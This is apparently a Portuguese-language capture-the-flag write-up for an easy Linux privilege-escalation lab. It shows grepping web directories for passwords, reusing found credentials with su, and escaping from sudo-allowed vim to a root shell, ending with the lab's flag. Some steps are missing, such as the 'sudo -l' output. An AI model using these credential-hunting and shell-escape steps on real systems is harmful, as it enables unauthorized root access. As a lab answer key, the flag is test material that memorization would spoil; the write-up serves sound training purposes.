

Writeup

privesc easy

Conseitos de segurança de SO.



Acesso

Informações

Em uma operação anterior descobrimos que existe um serviço de SSH rodando no servidor na porta “**2221**”, o que nos concede acesso remoto. Também descobrimos um usuário “**dev_web**” e sua respectiva senha “**dev**”. Embora tenhamos acesso, esse usuário tem privilégios baixos, então nossa tarefa será aumentar nossos privilégios.

Reconhecimento

Primeiro nos conectamos no servidor via **SSH** com o comando:

ssh dev_web@127.0.0.1 -p 2222

```
PS C:\Users\nycol> ssh dev_web@127.0.0.1 -p 2221
dev_web@127.0.0.1's password: _
```

Nessa primeira parte, nosso trabalho é saber a quais arquivos temos acesso e o seu conteúdo. Para isso alguns comandos são essenciais como:

cat: Mostra qual o conteúdo de um arquivo.

ls: Mostra quais arquivos existem em um diretório.

grep: Faz pesquisa em conteúdo de arquivos.

Reconhecimento

Embora existam muitos diretórios no sistema, existem os que são mais comuns de terem arquivos interessantes, como configurações e credenciais, como os diretórios “**/etc**”, “**/opt**” e “**/var**”.

Podemos começar vendo os arquivos do diretório “**/opt**” com “**ls**”:

ls /opt

```
$ ls /opt
$ _
```

Agora vamos ver os arquivos do diretório “/var”:

ls /var

```
$ ls /var
backups cache lib local lock log mail opt run spool tmp www
$ _
```

Aqui conseguimos achar algo, mas no formato padrão não conseguimos saber qual é um diretório e qual é um arquivo.

Para isso podemos usar a opção “-l” do comando “ls”:

ls -l

```
$ ls -l /var/
total 44
drwxr-xr-x 2 root root 4096 Apr 22 2024 backups
drwxr-xr-x 1 root root 4096 Nov 1 19:30 cache
drwxr-xr-x 1 root root 4096 Nov 1 19:30 lib
drwxrwsr-x 2 root staff 4096 Apr 22 2024 local
lrwxrwxrwx 1 root root 9 Oct 11 02:03 lock -> /run/lock
drwxr-xr-x 1 root root 4096 Nov 1 19:30 log
drwxrwsr-x 2 root mail 4096 Oct 11 02:03 mail
drwxr-xr-x 2 root root 4096 Oct 11 02:03 opt
lrwxrwxrwx 1 root root 4 Oct 11 02:03 run -> /run
drwxr-xr-x 2 root root 4096 Oct 11 02:03 spool
drwxrwxrwt 2 root root 4096 Oct 11 02:09 tmp
drwxr-xr-x 1 root root 4096 Nov 1 19:39 www
$
```

A primeira coluna representa o tipo do arquivo, caso seja “d” indica um diretório (pasta), caso seja “-” (traço) indica um arquivo e caso seja um “l” indica um link.

No diretório “/var” podemos ver vários outros diretórios, em especial temos o “www” que costuma armazenar configurações de sites web. Mas para não perdemos tempo procurando manualmente, podemos fazer uma pesquisa de palavras que nos interessa, como “user”, “password” e etc.

Fazemos essa procura com o comando “grep”, e usamos a opção “-r”, para adicionar recursividade, assim se tiver mais algum diretório, ele vai procurar dentro dela também.

Podemos fazer isso assim:

grep -r password /var/www

```
$ grep -r password /var/www
/var/www/credentials.json: password: 'superdb'
$ _
```

A palavra “**password**” existe em um arquivo com um nome no mínimo interessante, podemos ver qual o conteúdo desse arquivo:

cat /var/www/credentials.json

```
$ cat /var/www/credentials.json
{
  user: 'dev_db',
  password: 'superdb'
}
$ _
```

Privesc

Privesc é o nome dado a técnica de aumento de privilégio, que é quando conseguimos aumentar nossas permissões, normalmente com usuários com maior privilégio.

Ao ver o conteúdo do arquivo “**/var/www/credentials.json**” conseguimos um usuário “**dev_db**” e uma senha “**superdb**”, podemos tentar usar essas credenciais para logar.

Usamos o comando “**su**” e o nome do usuário que queremos logar:

su dev_db

```
$ su dev_db
Password:
$ _
```

E para termos certeza de qual o nosso usuário, usamos o comando “**whoami**”:

whoami

```
$ whoami
dev_db
$ _
```

Comandos como administrador

Alguns usuários precisam executar tarefas que exigem maior permissão do que o comum, mas seria perigoso se déssemos esses privilégios ao usuário para ele executar qualquer tarefa.

Assim podemos permitir que algum usuário execute, com privilégios elevados, apenas os comandos que escolhermos.

Para listar esses comandos, usamos o comando “**sudo**” coma opção “**-l**”:

sudo -l

Para executarmos comando dentro do “**vim**” usamos “**:!**” e o comando que queremos executar, nesse caso podemos pedir pra ele executar o “**bash**”. O “**bash**” é um terminal que costuma ser instalado por padrão.

Então podemos executar:

:!bash

```
~  
~  
:!bash  
  
root@841a78c90fcf:/home/dev_db#
```

E conseguimos um terminal como root. Mas ainda estamos no diretório do “**dev_db**”.

Podemos navegar para o diretório do “**root**” com o comando “**cd /root**”, listar os arquivos com o “**ls -l**”.

```
root@841a78c90fcf:/home/dev_db# cd /root  
root@841a78c90fcf:~# ls -l  
total 4  
-rw-r--r-- 1 root root 29 Nov  1 19:39 flag.txt
```

Agora que achamos a flag, podemos ver seu conteúdo com o “**cat flag.txt**”:

```
root@841a78c90fcf:~# cat flag.txt  
FLAG{SENAI-gj4ns02n47fbj305}  
root@841a78c90fcf:~#
```